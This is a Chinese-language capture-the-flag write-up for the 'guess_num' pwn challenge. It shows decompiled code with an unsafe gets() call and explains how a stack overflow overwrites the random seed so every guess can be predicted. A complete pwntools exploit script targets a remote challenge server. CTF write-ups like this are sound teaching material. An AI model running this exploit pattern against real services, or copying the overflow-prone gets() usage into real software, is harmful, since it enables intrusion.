guess_num
[collapse title=“展開查看詳情” status=“false”]
考察點:利用棧溢出固定隨機數
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&v7); //棧溢出
srand(seed[0]);
for ( i = 0; i <= 9; ++i ) // 連續正確10次
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
由於題目開啓 Canary 不能直接控制 eip ,觀察棧空間發現 v7 位於 seed 前面。
-000000000000003C var_3C dd ?
-0000000000000038 var_38 dd ?
-0000000000000034 var_34 dd ?
-0000000000000030 v7 db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
…………
…………
-0000000000000010 seed dd 2 dup(?)
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
隨機數的隨機性是基於 seed 種子,當固定 seed 時,實際上生成的是僞隨機數,也就是一個固定的值。這道題幾時利用 gets 造成棧溢出覆蓋 seed 固定生成隨機數,配合 ctypes 庫實現 python、c 混合編程。
完整exp:
#!usr/bin/python
#coding=utf-8
from pwn import *
from ctypes import *
context.log_level = ';debug';
p = remote("111.198.29.45",57280)
#p = process(';./b59204f56a0545e8a22f8518e749f19f';)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(1)
p.recvuntil(';Your name:';)
p.sendline(payload)
libc.srand(1)
for _ in range(10):
num = str(libc.rand()%6+1)
p.recvuntil(';number:';)
p.sendline(num)
p.interactive()
[/collapse]